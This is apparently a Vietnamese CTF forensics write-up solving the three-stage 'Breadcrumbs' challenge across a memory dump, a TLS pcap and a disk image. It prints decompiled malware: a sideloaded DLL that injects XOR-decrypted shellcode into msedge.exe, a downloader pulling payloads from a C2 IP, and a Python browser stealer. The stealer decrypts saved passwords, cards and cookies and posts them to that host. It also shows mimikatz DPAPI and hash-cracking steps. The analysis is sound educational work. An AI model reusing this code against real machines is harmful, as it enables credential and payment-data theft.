Post

[L3AKCTF] Breadcrumbs

An employee's workstation began acting suspiciously; strange files appeared, and system performance dropped. Can you investigate what happened?

[L3AKCTF] Breadcrumbs

Mô tả

Chính

Phụ

Bài cho ta 3 file và phân làm 3 giai đoạn (3 flag) file dmp, pcap và cuối cùng là ad1

Bài này do chưa phân tích kỹ nội dung của protocol TLS trong pcap nên không biết rằng phương thức mã hoá mà client-server sử dụng không an toàn => Bị kẹt và không giải được bài

Giai đoạn 1: Memdump forensics

Khi chạy plugins filescan của volatility 3 thì thấy được điều khá là lạ là file 7za.execryptbase.dll trong thư mục Desktop/7za, cryptbase.dll là một Windows System DLL và vị trí mặc định nằm trong C:\Windows\System32 vậy vị trí này khá bất thường cho nên ta sẽ dump về để kiểm tra

Sau khi dump về và đưa lên virustotal thì khá chắc chắn rằng đây là một file dll độc hại rồi, khả năng cao nó đã sử dụng kỹ thuật dll sideloading do 7za.exe - một phần mềm bình thường không gọi toàn bộ đường dẫn C:\Windows\System32\cryptbase.dll khi load dll

Đưa vào IDA xem phần export thì không có gì bất thường, đều là những hàm mà cryptbase.dll thường export nhưng khi kiểm tra phần import có một số hàm khá đang ngờ thường dùng trong các kỹ thuật injection như là VirtualAllocEx, CreateRemoteThread, WriteProcessMemory và chúng đều có rossreference đến hàm sub_7FFED6511000 trong khi kiểm tra

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
int sub_7FFED6511000()
{
  HRSRC ResourceW; // rax
  HRSRC v1; // rdi
  DWORD v2; // ebx
  HGLOBAL Resource; // rax
  HRSRC v4; // rbp
  SIZE_T v5; // rsi
  HRSRC v6; // rdi
  DWORD v7; // edx
  HRSRC v8; // rcx
  __int64 v9; // rax
  DWORD (__stdcall *v10)(LPVOID); // rbx
  HRSRC v11; // rbx
  HMODULE phModule; // [rsp+50h] [rbp-B8h] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [rsp+58h] [rbp-B0h] BYREF
  DWORD ExitCode; // [rsp+70h] [rbp-98h] BYREF
  SIZE_T NumberOfBytesWritten; // [rsp+78h] [rbp-90h] BYREF
  struct _STARTUPINFOW lpStartupInfo; // [rsp+80h] [rbp-88h] BYREF

  lpStartupInfo.cb = 104;
  memset(&lpStartupInfo.lpReserved, 0, 96);
  LODWORD(ResourceW) = CreateProcessW(
                         L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
                         0,
                         0,
                         0,
                         0,
                         4u,
                         0,
                         0,
                         &lpStartupInfo,
                         &ProcessInformation);
  if ( (_DWORD)ResourceW )
  {
    phModule = 0;
    LODWORD(ResourceW) = GetModuleHandleExW(4u, (LPCWSTR)sub_7FFED6511000, &phModule);
    if ( (_DWORD)ResourceW )
    {
      ResourceW = FindResourceW(phModule, (LPCWSTR)0x65, L"SHELL");
      v1 = ResourceW;
      if ( ResourceW )
      {
        v2 = SizeofResource(phModule, ResourceW);
        Resource = LoadResource(phModule, v1);
        ResourceW = (HRSRC)LockResource(Resource);
        v4 = ResourceW;
        if ( ResourceW )
        {
          if ( v2 )
          {
            v5 = v2;
            ResourceW = (HRSRC)VirtualAlloc(0, v2, 0x1000u, 0x40u);
            v6 = ResourceW;
            if ( ResourceW )
            {
              sub_7FFED651D400(ResourceW, v4, v2);
              v7 = 0;
              v8 = v6;
              do
              {
                v8 = (HRSRC)((char *)v8 + 1);
                v9 = v7++ & 0xF;
                *((_BYTE *)v8 - 1) ^= aX7qp9zlma2vtej[v9];
              }
              while ( v7 < v2 );
              ResourceW = (HRSRC)VirtualAllocEx(ProcessInformation.hProcess, 0, v2, 0x3000u, 0x40u);
              v10 = (DWORD (__stdcall *)(LPVOID))ResourceW;
              if ( ResourceW )
              {
                NumberOfBytesWritten = 0;
                LODWORD(ResourceW) = WriteProcessMemory(
                                       ProcessInformation.hProcess,
                                       ResourceW,
                                       v6,
                                       v5,
                                       &NumberOfBytesWritten);
                if ( (_DWORD)ResourceW )
                {
                  ResourceW = (HRSRC)CreateRemoteThread(ProcessInformation.hProcess, 0, 0, v10, 0, 0, 0);
                  v11 = ResourceW;
                  if ( ResourceW )
                  {
                    ExitCode = 0;
                    GetExitCodeThread(ResourceW, &ExitCode);
                    CloseHandle(v11);
                    CloseHandle(ProcessInformation.hThread);
                    CloseHandle(ProcessInformation.hProcess);
                    LODWORD(ResourceW) = VirtualFree(v6, 0, 0x8000u);
                  }
                }
              }
            }
          }
        }
      }
    }
  }
  return (int)ResourceW;
}

Nói chung là hàm này thực hiện inject một shellcode đã bị mã hoá là một resource có tên SHELL trong file dll vào chương trình msedge.exe, trước ghi tạo và ghi vào vùng nhớ của msedge thì hàm này sẽ thực xor với mảng aX7qp9zlma2vtej - Đây là tên mảng thôi có giá trị là X7qP9zLmA2VtEjC0 để ra shellcode thực

Khá đơn giản, và vì SHELL đã được hardcode sẵn trong dll rồi cho nên ta có thể dùng một số tool như là Resource Hacker để xuất nó ra sau đó lên cyberchef hoặc tạo script để xor với X7qP9zLmA2VtEjC0 sẽ ra payload tiếp theo

Khi load vào IDA thì lại không nhận dạng được file, nên tôi kiểm tra lại bằng strings, binwalk thì thấy rằng có một file PE ở trong đó nữa

1
2
3
4
5
6
7
8
9
$ file decrypted_SHELL.bin
decrypted_SHELL.bin: data

$ binwalk decrypted_SHELL.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
2856          0xB28           Microsoft executable, portable (PE)
13704         0x3588          XML document, version: "1.0"

Do dùng binwalk -e không được nên chuyển sang dùng dd

1
2
3
4
5
6
7
$ dd if=decrypted_SHELL.bin of=extracted_pe.exe bs=1 skip=2856 count=10848
10848+0 records in
10848+0 records out
10848 bytes (11 kB, 11 KiB) copied, 0.0753224 s, 144 kB/s

$ file extracted_pe.exe
extracted_pe.exe: PE32+ executable for MS Windows 6.00 (DLL), x86-64, 6 sections

Lại là một file dll nữa, cho vào IDA lại xem sao, xem export có một hàm tên là RunME

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
int RunME_0()
{
  __int64 v0; // rdi
  __int64 v1; // rdx
  CHAR *v2; // rcx
  CHAR v3; // al
  CHAR *v4; // rax
  __int64 v5; // rcx
  CHAR *v6; // rax
  __int64 v7; // rax
  CHAR *v8; // rcx
  __int64 v9; // rdx
  __int64 v10; // rax
  char *v11; // r9
  CHAR v12; // r8
  CHAR *v13; // rax
  __int64 v14; // rdx
  CHAR *v15; // rcx
  CHAR v16; // al
  CHAR *v17; // rax
  __int64 v18; // rcx
  CHAR *v19; // rax
  __int64 v20; // rax
  CHAR *v21; // rcx
  __int64 v22; // rdx
  __int64 v23; // rax
  char *v24; // r9
  CHAR v25; // r8
  CHAR *v26; // rax
  int result; // eax
  __int64 v28; // rdx
  CHAR *v29; // rcx
  CHAR v30; // al
  CHAR *v31; // rax
  __int64 v32; // rcx
  CHAR *v33; // rax
  __int64 v34; // rax
  CHAR *v35; // rcx
  __int64 v36; // rbx
  char *v37; // rdx
  CHAR v38; // al
  CHAR *v39; // rax
  CHAR v40[272]; // [rsp+30h] [rbp-458h] BYREF
  CHAR v41[272]; // [rsp+140h] [rbp-348h] BYREF
  CHAR pszPath[272]; // [rsp+250h] [rbp-238h] BYREF
  CHAR v43[272]; // [rsp+360h] [rbp-128h] BYREF

  v0 = 2147483646;
  if ( SHGetFolderPathA(0, 26, 0, 0, pszPath) >= 0 )
  {
    v1 = 260;
    v2 = v40;
    do
    {
      if ( v1 == -2147483386 )
        break;
      v3 = v2[pszPath - v40];
      if ( !v3 )
        break;
      *v2++ = v3;
      --v1;
    }
    while ( v1 );
    v4 = v2 - 1;
    if ( v1 )
      v4 = v2;
    v5 = 260;
    *v4 = 0;
    v6 = v40;
    do
    {
      if ( !*v6 )
        break;
      ++v6;
      --v5;
    }
    while ( v5 );
    v7 = 260 - v5;
    if ( v5 )
    {
      v8 = &v40[v7];
      v9 = 260 - v7;
      if ( v7 != 260 )
      {
        v10 = 2147483646;
        v11 = (char *)("\\encrypted.bin" - v8);
        do
        {
          if ( !v10 )
            break;
          v12 = v8[(_QWORD)v11];
          if ( !v12 )
            break;
          *v8 = v12;
          --v10;
          ++v8;
          --v9;
        }
        while ( v9 );
      }
      v13 = v8 - 1;
      if ( v9 )
        v13 = v8;
      *v13 = 0;
    }
    URLDownloadToFileA(0, "https://10.10.70.114/encrypted.bin", v40, 0, 0);
  }
  v14 = 260;
  v15 = v41;
  do
  {
    if ( v14 == -2147483386 )
      break;
    v16 = v15[pszPath - v41];
    if ( !v16 )
      break;
    *v15++ = v16;
    --v14;
  }
  while ( v14 );
  v17 = v15 - 1;
  if ( v14 )
    v17 = v15;
  v18 = 260;
  *v17 = 0;
  v19 = v41;
  do
  {
    if ( !*v19 )
      break;
    ++v19;
    --v18;
  }
  while ( v18 );
  v20 = 260 - v18;
  if ( v18 )
  {
    v21 = &v41[v20];
    v22 = 260 - v20;
    if ( v20 != 260 )
    {
      v23 = 2147483646;
      v24 = (char *)("\\2.txt" - v21);
      do
      {
        if ( !v23 )
          break;
        v25 = v21[(_QWORD)v24];
        if ( !v25 )
          break;
        *v21 = v25;
        --v23;
        ++v21;
        --v22;
      }
      while ( v22 );
    }
    v26 = v21 - 1;
    if ( v22 )
      v26 = v21;
    *v26 = 0;
  }
  URLDownloadToFileA(0, "https://10.10.70.114/2.txt", v41, 0, 0);
  URLDownloadToFileA(0, "https://10.10.70.114/L3AK{AV_evasion_is_easy", v41, 0, 0);
  result = SHGetFolderPathA(0, 7, 0, 0, v43);
  if ( result >= 0 )
  {
    v28 = 260;
    v29 = v40;
    do
    {
      if ( v28 == -2147483386 )
        break;
      v30 = v29[v43 - v40];
      if ( !v30 )
        break;
      *v29++ = v30;
      --v28;
    }
    while ( v28 );
    v31 = v29 - 1;
    if ( v28 )
      v31 = v29;
    v32 = 260;
    *v31 = 0;
    v33 = v40;
    do
    {
      if ( !*v33 )
        break;
      ++v33;
      --v32;
    }
    while ( v32 );
    v34 = 260 - v32;
    if ( v32 )
    {
      v35 = &v40[v34];
      v36 = 260 - v34;
      if ( 260 != v34 )
      {
        v37 = (char *)("\\sctask.exe" - v35);
        do
        {
          if ( !v0 )
            break;
          v38 = v35[(_QWORD)v37];
          if ( !v38 )
            break;
          *v35 = v38;
          --v0;
          ++v35;
          --v36;
        }
        while ( v36 );
      }
      v39 = v35 - 1;
      if ( v36 )
        v39 = v35;
      *v39 = 0;
    }
    return URLDownloadToFileA(0, "https://10.10.70.114/sctasks.exe", v40, 0, 0);
  }
  return result;
}

Hàm này tải những file sau (encrypted.bin, 2.txtsctasks.exe) từ IP 10.10.70.114 khá chắc chắn đây là một server C2, trong đây cũng có phần 1 của flag

L3AK{AV_evasion_is_easy

Sau đó lục lại trong memdump thì không thấy gì, đã tìm qua filescan, eventlog, tìm key khôi phục thư mục Quarantine nhưng cũng không thấy gì cả. Do các packet trong file pcap bị mã hoá TLSv1.2 cho nên khi tìm key TLS để decrypt traffic cũng không có trong mempdump (Bởi vì nó không có, mà phải tìm trong file pcap xdd). Thế là team stuck zzz

Sau giải mới biết rằng sau mỗi một phần của flag thì ta sẽ chuyển sang file(stage) tiếp theo

Giai đoạn 2: Network forensics

Chỉ filter IP của server C2 cho tiện: ip.addr == 10.10.70.114

File pcap tải về đã được mã hoá bởi TLSv1.2. Khi kiểm tra quá trình bắt tay (handshake) giữa server và client, tại frame 10 (Server Hello, Certificate), ta thấy traffic sử dụng cipher suite TLS_RSA_WITH_AES_256_GCM_SHA384. Đây là phương thức mã hoá sử dụng RSA để trao đổi key.

Trong RSA, nếu modulus(n) (thành phần chính của public key, với n=p×q) được sinh ra quá nhỏ hoặc không đủ mạnh (ví dụ sử dụng prime yếu hoặc reuse), thì có thể factor hoá nnn thành ppp và qqq. Từ đó, ta tính được private key để giải mã toàn bộ TLS traffic.. Vậy nên ta sẽ copy dữ liệu của tls.handshake.certificate vào 1 file để kiểm tra bằng openssl x509

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ openssl x509 -in tlscert -inform DER -text -noout -modulus
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            76:a9:af:24:d7:1a:c3:aa:fd:d3:ca:b1:25:fd:0d:f2:90:6a:7e:76
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
        Validity
            Not Before: Jun 15 01:09:12 2025 GMT
            Not After : Jun 15 01:09:12 2026 GMT
        Subject: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1323 bit)
                Modulus:
                    04:5e:86:65:4b:c0:a3:b7:ca:87:31:07:a3:36:f5:
                    27:d1:30:5f:6a:44:c8:0e:3d:54:ba:fe:d6:69:c4:
                    51:18:d5:c3:0c:89:c4:65:c0:cc:fb:06:0a:62:59:
                    22:b4:2f:9a:70:25:5f:6d:20:82:5e:3b:f8:4c:7c:
                    a2:9f:3f:5b:04:89:52:51:e7:0f:e8:76:a7:4c:1b:
                    35:83:bf:7f:3e:ae:cd:56:b4:d4:48:7c:66:b0:aa:
                    15:5b:b9:35:c0:a2:0d:92:5b:31:4d:07:9c:1e:91:
                    d5:77:53:46:c6:e4:b7:bf:0a:e1:1e:d9:3a:55:b3:
                    d2:6b:71:3e:25:b1:d3:16:66:0b:98:9c:df:93:5b:
                    e6:7f:ff:82:bc:89:00:00:00:00:00:00:00:00:00:
                    00:00:00:00:00:00:00:00:00:00:00:00:00:01:32:
                    99
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                AE:05:E9:E8:18:02:30:35:FC:BD:2D:A8:B3:68:7E:F0:7E:3E:6D:50
            X509v3 Authority Key Identifier:
                AE:05:E9:E8:18:02:30:35:FC:BD:2D:A8:B3:68:7E:F0:7E:3E:6D:50
            X509v3 Basic Constraints: critical
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        00:4b:05:2a:b4:ae:2b:7e:ad:67:70:29:7a:a7:91:e9:f9:45:
        47:fb:fd:c1:43:36:69:e9:33:7e:29:61:07:71:4d:14:d8:bb:
        25:8f:80:f6:6c:28:1b:6b:a8:dd:20:ab:bb:cd:89:ca:2e:76:
        8b:de:6d:28:72:e0:48:4b:d5:2b:76:ff:8f:90:60:45:24:31:
        e8:58:c4:17:ec:39:c5:f9:2a:cb:c2:f4:64:df:20:af:5f:42:
        f4:aa:78:52:55:76:aa:04:5a:b6:aa:f4:6c:dc:6e:6f:dd:3a:
        93:5b:8c:de:af:a0:ef:8f:89:8a:50:b6:78:b7:33:8e:07:6b:
        4f:dc:e1:69:09:9b:b9:b7:86:45:6e:5d:71:6a:86:53:d6:b6:
        f2:3b:c1:e5:65:c6:fb:45:df:b8:27:2b:df:d9:8f:27:80:b6:
        34:42:ed:ec
Modulus=45E86654BC0A3B7CA873107A336F527D1305F6A44C80E3D54BAFED669C45118D5C30C89C465C0CCFB060A625922B42F9A70255F6D20825E3BF84C7CA29F3F5B04895251E70FE876A74C1B3583BF7F3EAECD56B4D4487C66B0AA155BB935C0A20D925B314D079C1E91D5775346C6E4B7BF0AE11ED93A55B3D26B713E25B1D316660B989CDF935BE67FFF82BC8900000000000000000000000000000000000000000000013299

Để tìm được key thì ta cần tìm p và q n = p x q. Nếu đặt modulus(n) quá quá nhỏ, phổ biến thì nó có thể được chia ra từ đó tìm được key

Modulus khi ta dịch ra số nguyên là 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006660000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000078489

Đưa lên các trangn như factordb hoặc alpertron để tìm factor, ta có

1
2
3
p = 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000153

q = 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000513

Để tính key từ p và q ta có thể dùng rsatool.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
PS C:\Users\admin\Desktop\1> python -m rsatool -p 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000153 -q 10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000513 -o key.pem
Using (p, q) to calculate RSA paramaters

n =
45e86654bc0a3b7ca873107a336f527d1305f6a44c80e3d54bafed669c45118d5c30c89c465c0ccf
b060a625922b42f9a70255f6d20825e3bf84c7ca29f3f5b04895251e70fe876a74c1b3583bf7f3ea
ecd56b4d4487c66b0aa155bb935c0a20d925b314d079c1e91d5775346c6e4b7bf0ae11ed93a55b3d
26b713e25b1d316660b989cdf935be67fff82bc89000000000000000000000000000000000000000
00000013299

e = 65537 (0x10001)

d =
2b7a31026bfc5528df3ec8b5a77d89a8de06ec711c5f60d30c027b3c40de37df59c1c15267f3e1c7
dd630e91f9494c9b25c22f22955799f0fdf09facdcd0ac3199c2a05641621b681afb49060c2dd696
79faf2ea7d6eaef1f4d39806ec6a4b676d3542d62b69e574ffdce15d721af483ef27acdda7a5f31d
8cdd0ef0cbd9ce6beb07adc7c302dcbf7cc0c0556f06d0f92f06d0f92f06d0f92f06d0f92f06d0f9
2f06d105001

p =
2171c159589d5d15bda1cb5599e1139240203175c53a03eb3db1352fea0ec1cc95f7013da153ba34
0fda630dc5390ac7b98241f3740bb945c51680000000000000000000000000000000000000000000
000099

q =
2171c159589d5d15bda1cb5599e1139240203175c53a03eb3db1352fea0ec1cc95f7013da153ba34
0fda630dc5390ac7b98241f3740bb945c51680000000000000000000000000000000000000000000
000201

Saving PEM as key.pem

Vậy là có key rồi, giờ ta chỉ cần quay trờ lại wireshark. Vào Edit/Preferences/Protocols/TLS/RSA key lists sau đó thêm key

1
2
3
4
5
ip: 10.10.70.114
port: 443
protocol: tls
keyfile: <Đường dẫn đến key.pem vừa tạo>
password: Để trống

Sau khi apply và vào phần Export Objects/HTML sẽ thấy 3 file (encrypted.bin, 2.txt, sctask.exe) mà dll độc hại đã tải về, xuất chúng ra để kiểm tra

Trong 2.txt có flag phần 2

_Mastering_forensics_

Giờ ta sẽ tiếp tục phân tích 2 file còn lại, encrypted.bin thì như tên có lẽ đã bị mã hoá bởi sctask.exe, kiểm tra trong DiE thì biết rằng sctask.exe được viết bằng python nên ta sẽ sử dụng pyinstxtractor.py để chuyển về file .pyc sau đó dùng pylingual để decompile về code python lúc đầu

Đây là code đã decompile của browser_stealer.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: browser_stealer.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import base64
import json
import os
import shutil
import sqlite3
from datetime import datetime, timedelta
from Crypto.Cipher import AES
from win32crypt import CryptUnprotectData
appdata = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
browsers = {'avast': appdata + '\\AVAST Software\\Browser\\User Data', 'amigo': appdata + '\\Amigo\\User Data', 'torch': appdata + '\\Torch\\User Data', 'kometa': appdata + '\\Kometa\\User Data', 'orbitum': appdata + '\\Orbitum\\User Data', 'cent-browser': appdata + '\\CentBrowser\\User Data', '7star': appdata + '\\7Star\\7Star\\User Data', 'sputnik': appdata + '\\Sputnik\\Sputnik\\User Data', 'vivaldi': appdata + '\\Vivaldi\\User Data', 'chromium': appdata + '\\Chromium\\User Data', 'chrome-canary': appdata + '\\Google\\Chrome SxS\\User Data', 'chrome': appdata + '\\Google\\Chrome\\User Data', 'epic-privacy-browser': appdata + '\\Epic Privacy Browser\\User Data', 'msedge-dev': appdata + '\\Microsoft\\Edge Dev\\User Data', '\\uCozMedia\\Uran\\User Data': appdata + '\\Yandex\\YandexBrowser\\User Data', '\\BraveSoftware\\Brave-Browser\\User Data': appdata + '\\Iridium\\User Data', '\\CocCoc\\Browser\\User Data': roaming + '\\Opera Software\\Opera Stable', '\\Opera Software\\Opera GX Stable': roaming + '\\Opera Software\\Opera GX Stable'}
data_queries = {'login_data': {'query': 'SELECT action_url, username_value, password_value FROM logins', 'file': '\\Login Data', 'columns': ['URL', 'Email', 'Password'], 'decrypt': True}, 'credit_cards': {'query': 'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards', 'file': '\\Web Data', 'columns': ['Name On Card', 'Card Number', 'Expires On', 'Added On'], 'decrypt': True}, 'cookies': {'query': 'SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies', 'file': '\\Network\\Cookies', 'columns': ['Host Key', 'Cookie Name', 'Path', 'Cookie', 'Expires On'], 'decrypt': True}, 'history': {'query': 'SELECT url, title, last_visit_time FROM urls', 'file': '\\History', 'columns': ['URL', 'Title', 'Visited Time'], 'decrypt': False}, 'downloads': {'query': 'SELECT tab_url, target_path FROM downloads'

def get_master_key(path: str):
    if not os.path.exists(path):
        pass  # postinserted
    return None

def decrypt_password(buff: bytes, key: bytes) -> str:
    iv = buff[3:15]
    payload = buff[15:(-16)]
    cipher = AES.new(key, AES.MODE_GCM, iv)
    decrypted_pass = cipher.decrypt(payload)
    decrypted_pass = decrypted_pass.decode()
    return decrypted_pass

def save_results(browser_name, type_of_data, content):
    if content:
        url = 'http://10.10.70.114:443'
        data = {'browser': browser_name, 'type': type_of_data, 'content': content}
        try:
            response = requests.post(url, json=data)
            if response.status_code == 200:
                print(f'\t [*] Data sent successfully for {browser_name}/{type_of_data}')
            return None
    else:  # inserted
        return None
    except Exception as e:
        print(f'\t [-] Error sending data: {e}')
        return None

def decrypt_my_data(encrypted_file):
    with open('encrypted.bin', 'rb') as f:
        content = f.read()
    iv = '1234567891011123'
    encrypted_data = '6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412'
    key = CryptUnprotectData(content, None, None, None, 0)[1]
    key = bytes.fromhex(key)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    data = cipher.decrypt(encrypted_data)
    return decrypt_my_data

def get_data(path: str, profile: str, key, type_of_data):
    db_file = f"{path}\\{profile}{type_of_data['file']}"
    if not os.path.exists(db_file):
        pass  # postinserted
    return None

def convert_chrome_time(chrome_time):
    return (datetime(1601, 1, 1) + timedelta(microseconds=chrome_time)).strftime('%d/%m/%Y %H:%M:%S')

def installed_browsers():
    available = []
    for x in browsers.keys():
        if os.path.exists(browsers[x] + '\\Local State'):
            pass  # postinserted
        else:  # inserted
            available.append(x)
    return available
if __name__ == '__main__':
    available_browsers = installed_browsers()
    for browser in available_browsers:
        browser_path = browsers[browser]
        master_key = get_master_key(browser_path)
        print(f'Getting Stored Details from {browser}')
        for data_type_name, data_type in data_queries.items():
            print(f"\t [!] Getting {data_type_name.replace('_', ' ').capitalize()}")
            notdefault = ['opera-gx']
            profile = 'Default'
            profile = '' if browser in notdefault else ''
            data = get_data(browser_path, profile, master_key, data_type)
            save_results(browser, data_type_name, data)
            print('\t------\n')

Như tên, sctask.exe sẽ làm các điều sau

  • Tìm các file database (Login Data, Web Data, Cookies, History, Downloads) trong thư mục user profile của browser
  • Decrypt dữ liệu:
    • Sử dụng win32crypt.CryptUnprotectData để lấy master key (Windows DPAPI)
    • Dùng AES-GCM để decrypt password, credit card info, cookie value
    • Dùng AES-CBC để decrypt encrypted_data
  • Gửi dữ liệu đã trích xuất về server C2:
    • Hardcoded IP: 10.10.70.114:443
    • Gửi dạng JSON qua HTTP POST

Trong file pcap lại không có các request POST, có lẽ lúc đó không được capture nữa

Việc phải tìm các file kia trong pcap cũng hơi lạ với không hợp lí lắm, do không có dấu hiệu các file này bị xoá idk, có thể người dùng đã tự xoá :) cho nên team dành cả giải phân tích memdump

Gia đoạn 3: Disk forensics

Nhìn lại đoạn này trong browser_stealer.py

1
2
3
4
5
6
7
8
9
10
def decrypt_my_data(encrypted_file):
    with open('encrypted.bin', 'rb') as f:
        content = f.read()
    iv = '1234567891011123'
    encrypted_data = '6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412'
    key = CryptUnprotectData(content, None, None, None, 0)[1]
    key = bytes.fromhex(key)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    data = cipher.decrypt(encrypted_data)
    return decrypt_my_data

Mã hoá dùng AES-CBC

Qua phân tích hàm trên, biết rằng nội dung của encrypted.bin sẽ chứa key đã bị mã hoá bằng DPAPI masterkey bằng hàm CryptUnprotectData() . Vậy để giải mã encrypted.bin ta sẽ cần masterkey, ta sẽ dùng chức năng dpapi::masterkey của mimikatz

Masterkey

Tìm kiếm trên google biết nó được lưu ở %APPDATA%\Microsoft\Protect\{SID}, SID là Security Identifier của người dùng và trong thư mục đó chính là masterkey bị mã hoá, ở đây là file 4dc3472c-8370-4831-9124-f45a6d742757 (File bị ẩn nên trong powershell dùng ls -Force để liệt kê tất cả sẽ thấy)

SID: S-1-5-21-2532670039-4151104164-2696135040-1001

Để giải mã được masterkey mimikatz cần các điều kiện sau

1
2
3
4
5
6
7
dpapi::masterkey /in:"" /sid: /password:

/in:"..." File masterkey

/sid:... → SID của người dùng

/password:... → Mật khẩu của người dùng

Để tìm password ta sẽ quay lại với file memdump và dùng plugin hashdump trong volatility3 để tìm hash của các người dùng trên máy, qua phân tích file .ad1 ta biết rằng ta cần phải tìm hash của người dùng abdelrhman322

1
2
3
4
5
Administrator   500     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
Guest   501     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount  503     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount      504     aad3b435b51404eeaad3b435b51404ee        3adba90fec32aa9d389feaf6be43a3f3
abdelrhman322   1001    aad3b435b51404eeaad3b435b51404ee        7ed4bd1015f33ad80eff4a63119ef2d9

Crack hash ở cột thứ 2 (NTLM hash) ta có mật khẩu của người dùng là 5563756. Vậy là có đủ điều kiện để crack masterkey rồi

1
2
3
4
5
6
dpapi::masterkey /in:"C:\Users\admin\Desktop\1\stage3\4dc3472c-8370-4831-9124-f45a6d742757" /sid:S-1-5-21-2532670039-4151104164-2696135040-1001 /password:5563756

..............
[masterkey] with password: 5563756 (normal user)
  key : e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2
  sha1: 06e25d82fd8c0eab4104b47e176c3b8398786f4a

Vậy masterkey là e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2. Dùng nó để giải mã encrypted.bin

1
2
3
4
5
6
7
dpapi::blob /in:"C:\Users\admin\Desktop\1\stage3\encrypted.bin" /masterkey:e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2

..............
 * volatile cache: GUID:{4dc3472c-8370-4831-9124-f45a6d742757};KeyHash:06e25d82fd8c0eab4104b47e176c3b8398786f4a
 * masterkey     : e0485275a4cc2497878280660141afd34065a22a9eb01f347a26d37e4de3944227d0711262c8a1ee99a655232052a395cac97daa00e0acbf815ea86a3f5aedd2
description :
data: 6d 79 5f 73 75 70 65 72 5f 73 65 63 72 65 74 5f

Key(hex) là 6d795f73757065725f7365637265745f và iv(UTF8) là 1234567891011123

Vậy chỉ còn 1 dữ liệu chưa được giải mã thôi, biết được nó dùng AES-CBC

1
encrypted_data = '6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412'

Lên Cyberchef để giải mã

is_where_the_challenge_begins}

Flag

L3AK{AV_evasion_is_easy_Mastering_forensics_is_where_the_challenge_begins}

This post is licensed under CC BY 4.0 by the author.